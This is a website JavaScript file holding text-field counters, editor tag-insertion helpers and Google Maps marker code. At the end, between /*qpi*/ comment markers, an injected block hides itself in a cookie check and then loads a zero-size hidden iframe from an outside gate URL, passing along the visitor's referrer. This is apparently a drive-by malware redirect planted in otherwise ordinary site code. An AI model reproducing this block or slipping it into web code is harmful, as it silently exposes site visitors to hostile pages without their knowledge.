function limitText(limitedField, countDisplay, limitNum) {
	if (limitedField.value.length > limitNum) {
		limitedField.value = limitedField.value.substring(0, limitNum);
	} else {
		countDisplay.value = limitNum - limitedField.value.length;
	}
}

function putTag(field, strBefore, strAfter) {
   element = document.getElementById(field);
   element.focus();
   // IE 
   if (document.selection) {
	   var oRange = document.selection.createRange();
	   var numLen = oRange.text.length;
	   if(strBefore == "<ol><li>" || strBefore == "<ul><li>") {
       oRange.text.replaceAll("\n", "</li><li>");
     } 
	   oRange.text = strBefore + oRange.text + strAfter;
	   return false;
   // FF i Opera
   } else if (element.setSelectionRange) {
      var selStart = element.selectionStart, selEnd = element.selectionEnd;
			var oldScrollTop = element.scrollTop;
			if(strBefore == "<ol><li>" || strBefore == "<ul><li>") {
        oRange = element.value.substring(selStart, selEnd).replaceAll("\n", "</li><li>");
      } else {
        oRange = element.value.substring(selStart, selEnd);
      }
      element.value = element.value.substring(0, selStart) + strBefore + oRange + strAfter + element.value.substring(selEnd);
      element.setSelectionRange(selStart + strBefore.length, selEnd + strBefore.length);
			element.scrollTop = oldScrollTop;      
      element.focus();
   } else {
			var oldScrollTop = element.scrollTop;
      element.value += strBefore + strAfter;
			element.scrollTop = oldScrollTop;      
      element.focus();
	}
}

function show_id(id) {
if( document.getElementById(id).style.display == "block" )
	document.getElementById(id).style.display = "none";
else
	document.getElementById(id).style.display = "block"
}

String.prototype.replaceAll = function(target, replace) {
var text = this;
var indexOfMatch = text.indexOf( target );
while (indexOfMatch != -1){
  text = text.replace( target, replace );
  indexOfMatch = text.indexOf( target );
}
return( text );
}

function sleep_init( locations ) {
    var myOptions = {
        zoom: 10,
        center: new google.maps.LatLng(0, 0),
        mapTypeId: google.maps.MapTypeId.ROADMAP
    }
    var map = new google.maps.Map(
        document.getElementById("sleep_canvas"),
        myOptions);
    setMarkers( map, locations );
}

function setMarkers(map, locations) {
    var nowy = new google.maps.MarkerImage( 'images/markers/new.png', new google.maps.Size(32, 32), new google.maps.Point(0,0), new google.maps.Point(16, 16) );
    var nowy_shadow = new google.maps.MarkerImage( 'images/markers/new-shad.png', new google.maps.Size(40, 32), new google.maps.Point(0,0), new google.maps.Point(16, 16) );
    var nowy_shape = { coord: [16, 2, 25, 6, 28, 16, 24, 24, 15, 28, 7, 24, 3, 15, 7, 6], type: 'poly' };

    var prom = new google.maps.MarkerImage( 'images/markers/prom.png', new google.maps.Size(32, 32), new google.maps.Point(0,0), new google.maps.Point(16, 16) );
    var prom_shadow = new google.maps.MarkerImage( 'images/markers/prom-shad.png', new google.maps.Size(40, 32), new google.maps.Point(0,0), new google.maps.Point(16, 16) );
    var prom_shape = { coord: [16, 0, 27, 5, 31, 15, 27, 25, 16, 31, 5, 26, 0, 15, 6, 4], type: 'poly' };

    var bounds = new google.maps.LatLngBounds();
    for (var i = 0; i < locations.length; i++) {
        point = locations[i];
        switch( point[4] ) {
            case 'prom':
                icon = prom;
                shadow = prom_shadow;
                shape = prom_shape;
                break;
            case 'nowy':
                icon = nowy;
                shadow = nowy_shadow;
                shape = nowy_shape;
                break;
        }
        myLatLng = new google.maps.LatLng(point[1], point[2]);
        marker = new google.maps.Marker({
            position: myLatLng,
            map: map,
            title: point[0],
            zIndex: point[3],
            icon: icon,
            shadow: shadow,
            shape: shape
        });
        bounds.extend(myLatLng);
        addListener( marker, point[5] );
    }
    map.fitBounds(bounds);
}
function addListener(marker, link) {
    google.maps.event.addListener(marker, 'click', function(){
        window.open( link );
    }); 
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=961827&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
